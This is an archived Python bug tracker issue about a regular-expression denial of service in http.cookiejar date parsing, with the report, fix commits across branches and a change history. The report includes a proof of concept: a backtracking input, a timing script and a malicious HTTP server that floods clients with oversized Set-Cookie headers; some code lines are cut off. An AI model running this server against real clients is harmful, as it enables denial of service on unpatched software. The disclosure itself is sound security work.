This issue tracker has been migrated to GitHub, and is currently read-only.
For more information, see the GitHub FAQs in the Python's Developer Guide.

Title: Regular Expression Denial of Service in http.cookiejar
Type: security Stage: resolved
Components: Library (Lib) Versions: Python 3.5
Status: closed Resolution: fixed
Dependencies: Superseder:
Assigned To: Nosy List: bc, larry, miss-islington, ned.deily, serhiy.storchaka, vstinner, xtreak
Priority: Keywords: patch

Created on 2019-11-14 23:37 by bc, last changed 2022-04-11 14:59 by admin. This issue is now closed.

Pull Requests
URL Status Linked Edit
PR 17157 merged bc, 2019-11-14 23:46
PR 17341 merged miss-islington, 2019-11-22 14:23
PR 17342 merged miss-islington, 2019-11-22 14:23
PR 17343 merged miss-islington, 2019-11-22 14:24
PR 17344 merged vstinner, 2019-11-22 14:31
PR 17345 merged vstinner, 2019-11-22 14:36
Messages (9)
msg356636 - (view) Author: Ben Caller (bc) * Date: 2019-11-14 23:37
The regex http.cookiejar.LOOSE_HTTP_DATE_RE iss vulnerable to regular
expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time.

The regex http.cookiejar.LOOSE_HTTP_DATE_RE contains multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex can be simplified to


Therefore, a long sequence of spaces can trigger bad performance.
LOOSE_HTTP_DATE_RE backtracks if last character doesn't match \s or (?![APap][Mm]\b)[A-Za-z]+

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-1-1" + (" " * 2000) + "!")

will cause catastrophic backtracking.

Timing test:

    import http.cookiejar
    import timeit

    def run(n_spaces):
        assert n_spaces <= 65506, "Set-Cookie header line must be <= 65536"
        spaces = " " * n_spaces
        expires = f"1-1-1{spaces}!"
        http2time = http.cookiejar.http2time
        t = timeit.Timer(
        print(n_spaces, "{:.3g}".format(t.autorange()[1]))

    i = 512
    while True:
        i <<= 1

Timeit output (seconds) on my computer when doubling the number of spaces:

    512     0.383
    1024    3.02
    2048   23.4
    4096  184
    8192 1700

As expected it's approx O(n^3). The maximum n_spaces to fit in a Set-Cookie header is 65506 which will take days.

You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-1-1{spaces}!"
        return f"x;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response_only(204)  # Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
                if len(self.path) > 1 else
                65506  # Max header line length 65536
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  # Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r ="http://localhost:44020/")

The popular requests library is also vulnerable without any additional options (as it uses http.cookiejar by default):

    import requests

As such, python applications need to be careful not to visit malicious servers.

I have a patch. Will make a PR soon.
This was originally submitted to the security list, but posted here 'since this is "merely" a DoS attack and not a privilege escalation'.

- Ben
msg357290 - (view) Author: STINNER Victor (vstinner) * (Python committer) Date: 2019-11-22 14:22
New changeset 1b779bfb8593739b11cbb988ef82a883ec9d077e by Victor Stinner (bcaller) in branch 'master':
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
msg357292 - (view) Author: miss-islington (miss-islington) Date: 2019-11-22 14:42
New changeset a1e1be4c4969c7c20c8c958e5ab5279ae6a66a16 by Miss Islington (bot) in branch '3.8':
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
msg357293 - (view) Author: miss-islington (miss-islington) Date: 2019-11-22 14:42
New changeset cb6085138a845f8324adc011b65754acc2086cc0 by Miss Islington (bot) in branch '3.7':
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
msg357294 - (view) Author: STINNER Victor (vstinner) * (Python committer) Date: 2019-11-22 14:45
I'm now tracking this vulnerability at:
msg357327 - (view) Author: Ned Deily (ned.deily) * (Python committer) Date: 2019-11-22 22:09
New changeset 0716056c49e9505041e30386dad9b2e788f67aaf by Ned Deily (Miss Islington (bot)) in branch '3.6':
bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17343)
msg357398 - (view) Author: STINNER Victor (vstinner) * (Python committer) Date: 2019-11-24 15:49
New changeset e6499033032d5b647e43a3b49da0c1c64b151743 by Victor Stinner in branch '2.7':
bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (GH-17345)
msg365668 - (view) Author: Larry Hastings (larry) * (Python committer) Date: 2020-04-03 01:37
New changeset 55a6a16a46239a71b635584e532feb8b17ae7fdf by Victor Stinner in branch '3.5':
bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17344)
msg368833 - (view) Author: STINNER Victor (vstinner) * (Python committer) Date: 2020-05-14 12:46
The fix landed in all maintained versions, thanks. I close the issue.
Date User Action Args
2022-04-11 14:59:23adminsetgithub: 82985
2020-05-14 12:46:41vstinnersetstatus: open -> closed
priority: release blocker ->
messages: + msg368833

resolution: fixed
stage: patch review -> resolved
2020-04-03 01:37:36larrysetmessages: + msg365668
2020-03-27 20:01:59serhiy.storchakasetpriority: normal -> release blocker
nosy: + larry

versions: - Python 2.7, Python 3.6, Python 3.7, Python 3.8, Python 3.9
2019-11-24 15:49:27vstinnersetmessages: + msg357398
2019-11-22 22:09:18ned.deilysetnosy: + ned.deily
messages: + msg357327
2019-11-22 14:45:54vstinnersetmessages: + msg357294
2019-11-22 14:42:17miss-islingtonsetmessages: + msg357293
2019-11-22 14:42:13miss-islingtonsetnosy: + miss-islington
messages: + msg357292
2019-11-22 14:36:26vstinnersetpull_requests: + pull_request16829
2019-11-22 14:31:18vstinnersetpull_requests: + pull_request16828
2019-11-22 14:24:57miss-islingtonsetpull_requests: + pull_request16827
2019-11-22 14:23:57miss-islingtonsetpull_requests: + pull_request16826
2019-11-22 14:23:13miss-islingtonsetpull_requests: + pull_request16825
2019-11-22 14:22:17vstinnersetmessages: + msg357290
2019-11-15 05:06:47xtreaksetnosy: + xtreak
2019-11-15 05:06:09xtreaksetnosy: + vstinner, serhiy.storchaka
2019-11-14 23:46:09bcsetkeywords: + patch
stage: patch review
pull_requests: + pull_request16666
2019-11-14 23:38:00bccreate